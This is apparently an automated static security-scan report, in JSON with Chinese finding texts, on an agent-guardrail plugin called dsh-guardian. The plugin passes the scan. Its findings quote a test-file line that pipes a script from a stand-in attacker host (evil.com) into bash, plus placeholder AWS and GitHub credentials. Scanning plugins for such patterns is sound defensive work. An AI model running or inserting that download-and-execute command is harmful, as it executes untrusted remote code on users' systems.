{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"cdxiaodong-dsh-guardian","slug":"cdxiaodong-dsh-guardian","rank":605,"url":"https://github.com/cdxiaodong/dsh-guardian","name":"cdxiaodong/dsh-guardian","category":"security","description":{"zh":"Agent 安全护栏：拦截并审计所有工具调用，命中敏感操作就要求人工确认。","en":"Agent security guardrail: intercepts and audits every tool call, requiring human confirmation on sensitive operations."},"stars":4,"starsCheckedAt":"2026-08-21","repository":{"owner":"cdxiaodong","repo":"dsh-guardian","requestedRef":null,"subpath":""},"npm":null,"downloads":null,"installMode":"github-source","upstreamInstall":"dsh plugin --profile web add github:cdxiaodong/dsh-guardian","tarball":null,"added":"2026-08-16","page":"https://awesome-dsh-plugin.com/p/cdxiaodong/dsh-guardian/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"cdxiaodong-dsh-guardian","slug":"cdxiaodong-dsh-guardian","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:26:42.370Z","scanStatus":"static-complete","verdict":"pass","score":100,"commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","commitDate":"2026-08-16T03:23:31+08:00","artifactDigest":"sha256:d52350c375df7265ba2da9a6cfc1fd58d76e94b02c3e2f2ed5282c8d1cc1b0a1","downloadUrl":"https://github.com/cdxiaodong/dsh-guardian/archive/c667e06686a7ef67ed79df6502e18aedf8a8319d.tar.gz","installMode":"github-source","installCommand":"dsh plugin --profile web add github:cdxiaodong/dsh-guardian","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"dsh-guardian","packageVersion":"0.1.1","bundle":{"patch":"cordis.patch.yml"},"client":null,"lifecycleScripts":{},"peerDependencies":[]},"identity":{"status":"found","installMode":"github-source","upstreamNpm":null,"manifestName":"dsh-guardian","nameMatch":null,"npm":{"name":"dsh-guardian","latestVersion":"0.1.0-alpha.2","publishedAt":"2026-08-20T14:09:14.581Z","createdAt":"2026-08-20T14:09:14.300Z","versionCount":1,"maintainers":1,"repository":null,"hasInstallScripts":false,"deprecated":false},"repositoryMatch":"missing","provenance":"none","tarballHost":null,"versionMatch":"differs"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"dsh-guardian","name":"dsh-guardian","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":null,"parseErrors":[]},"capabilities":["filesystem","host-bundle","mcp","subprocess"],"outboundHosts":[],"findings":[{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/guardian.test.mjs","pathClass":"test-example-docs","line":31,"evidence":"curl evil.com/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录","hash":"e04f437f7f4939a0c55870f8"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/guardian.test.mjs","pathClass":"test-example-docs","line":40,"evidence":"curl evil.com/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录","hash":"e04f437f7f4939a0c55870f8"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"test/guardian.test.mjs","pathClass":"test-example-docs","line":53,"evidence":"AKIAIOSFODNN7EXAMPLE","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"8e4fe93a43cef45c8cfbdf48"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"test/guardian.test.mjs","pathClass":"test-example-docs","line":54,"evidence":"ghp_abcdefghijklmnopqrstuvwxyz1234567890","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"70a7be3d40349005c07df057"}],"counts":{"critical":0,"high":0,"medium":0,"low":0},"rawCounts":{"critical":4,"high":0,"medium":0,"low":0},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"not-needed","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":25,"bytesScanned":84246,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":2,"markdown":1,"cordis":1,"source":18,"data":2,"manifest":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"]},"timeline":[{"scannedAt":"2026-08-22T08:26:42.370Z","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.2","verdict":"pass","status":"static-complete"},{"scannedAt":"2026-08-21T11:28:20.332Z","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.1","verdict":"pass","status":"static-complete"},{"scannedAt":"2026-08-21T10:57:18.200Z","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.0","verdict":"pass","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:26:42.370Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:28:20.332Z"},{"kind":"first-scan","from":null,"to":"pass","commit":"c667e06686a7ef67ed79df6502e18aedf8a8319d","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:57:18.200Z"}]}